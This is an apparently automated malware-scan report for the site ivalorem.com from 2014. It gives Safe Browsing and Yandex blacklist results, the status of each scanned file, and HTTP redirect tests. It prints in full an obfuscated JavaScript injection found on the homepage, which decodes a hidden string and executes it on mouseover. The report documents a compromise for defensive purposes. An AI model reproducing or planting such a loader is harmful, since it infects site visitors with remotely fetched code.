Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=ivalorem.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://ivalorem.com/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://ivalorem.com/ | 200 OK Content-Length: 7729 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) window.w3ssss=function(){ var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ott for(var i=0,content=''; i<userref.length; i+=visitnum){content+=userref.charAt(i);} try{ window[cont](content) }catch(e){} } window.CheckBody = function() { if (!document.body){setTimeout('CheckBody();',10);} else { window.nomore=false; document.body.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}} window.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}} } } CheckBody(); Antivirus reports:
| ||
http://ivalorem.com/ivalorem/WebResource.axd?d=ZCAXqwFsQNAd8YjG4MuDvgPWNcd4Mqw5afo9BLDZ7kbOnMJrWVSOffQP3VMRDGU14JambiREOPZvQDtXQmyjGoO9R8c1&t=635198683129146460 | 200 OK Content-Length: 20794 Content-Type: application/x-javascript | clean |
http://ivalorem.com/ivalorem/WebResource.axd?d=5tRRmIfpqi9aYk2jP-oNOV09fBmmdrsqc1LLGQvjyJdKbuEFB8URExni0y-jFkycM7-t3NCzvYrQAUOXb4PDAop0xp41&t=635198683129146460 | 200 OK Content-Length: 21547 Content-Type: application/x-javascript | clean |
http://ivalorem.com/test404page.js | 404 Not Found Content-Length: 1549 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: ivalorem.com
Result:
HTTP/1.1 200 OK
Cache-Control: private
Date: Tue, 22 Apr 2014 01:09:11 GMT
Server: Microsoft-IIS/7.0
Content-Length: 7729
Content-Type: text/html; charset=utf-8
Set-Cookie: ASP.NET_SessionId=tqhtsv55b5lmxo55itrulw45; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
...7729 bytes of data.
GET / HTTP/1.1
Host: ivalorem.com
Result:
HTTP/1.1 200 OK
Cache-Control: private
Date: Tue, 22 Apr 2014 01:09:11 GMT
Server: Microsoft-IIS/7.0
Content-Length: 7729
Content-Type: text/html; charset=utf-8
Set-Cookie: ASP.NET_SessionId=tqhtsv55b5lmxo55itrulw45; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
...7729 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: ivalorem.com
Referer: http://www.google.com/search?q=ivalorem.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: ivalorem.com
Referer: http://www.google.com/search?q=ivalorem.com
Result:
The result is similar to the first query. There are no suspicious redirects found.